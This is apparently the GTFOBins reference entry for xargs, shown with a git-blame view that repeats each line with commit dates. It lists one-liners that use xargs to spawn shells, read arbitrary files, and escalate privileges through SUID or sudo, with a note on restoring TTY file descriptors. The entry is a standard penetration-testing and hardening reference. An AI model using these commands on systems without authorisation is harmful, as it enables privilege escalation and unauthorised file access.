GTFOBins.github.io/_gtfobins/xargs.md

---
functions:
  shell:
    - description: GNU version only.
      code: xargs -a /dev/null sh
    - code: echo x | xargs -Iy sh -c 'exec sh 0<&1'
    - description: Read interactively from `stdin`.
      code: |
        xargs -Ix sh -c 'exec sh 0<&1'
        x^D^D
  file-read:
    - description: This works as long as the file does not contain the NUL character, also a trailing `$'\n'` is added. The actual `/bin/echo` command is executed. GNU version only.
      code: |
        LFILE=file_to_read
        xargs -a "$LFILE" -0
  suid:
    - description: GNU version only.
      code: ./xargs -a /dev/null sh -p
  sudo:
    - description: GNU version only.
      code: sudo xargs -a /dev/null sh
---
Add xargs 2018-05-30 09:36:30 +02:00			`---`
			`functions:`
Adopt new function names 2018-10-05 19:55:38 +02:00			`shell:`
Make xargs execute-interactive 2018-09-06 22:32:14 +02:00			`- description: GNU version only.`
			`code: xargs -a /dev/null sh`
Make interactive execute whenever possible Here the trick is to restore those file descriptors (0, 1, 2) that have been redirected (`dup2`) by the parent process. First we need to determine which one has been redirected, for example by looking at `ls -l /proc/$$/fd/`. Then we can use `0<&x`, `1>&x` or `2>&x` to restore 0, 1 or 2 respectively, where `x` is any file descriptor number that points to the TTY. It may happen that no file descriptor is unchanged, in that case we can use `tty` to perform the redirection: sh <$(tty) >$(tty) 2>$(tty) 2018-09-07 01:00:01 +02:00			`- code: echo x \| xargs -Iy sh -c 'exec sh 0<&1'`
			- description: Read interactively from `stdin`.
			`code: \|`
			`xargs -Ix sh -c 'exec sh 0<&1'`
			`x^D^D`
Add xargs file-read even though it uses the external echo command 2018-06-03 11:51:44 +02:00			`file-read:`
Fix YAMLs according to YAMLlint 2018-07-16 15:01:50 +02:00			- description: This works as long as the file does not contain the NUL character, also a trailing `$'\n'` is added. The actual `/bin/echo` command is executed. GNU version only.
			`code: \|`
			`LFILE=file_to_read`
			`xargs -a "$LFILE" -0`
Adopt new function names 2018-10-05 19:55:38 +02:00			`suid:`
Make xargs execute-interactive 2018-09-06 22:32:14 +02:00			`- description: GNU version only.`
			`code: ./xargs -a /dev/null sh -p`
Adopt new function names 2018-10-05 19:55:38 +02:00			`sudo:`
Make xargs execute-interactive 2018-09-06 22:32:14 +02:00			`- description: GNU version only.`
			`code: sudo xargs -a /dev/null sh`
Add xargs 2018-05-30 09:36:30 +02:00			`---`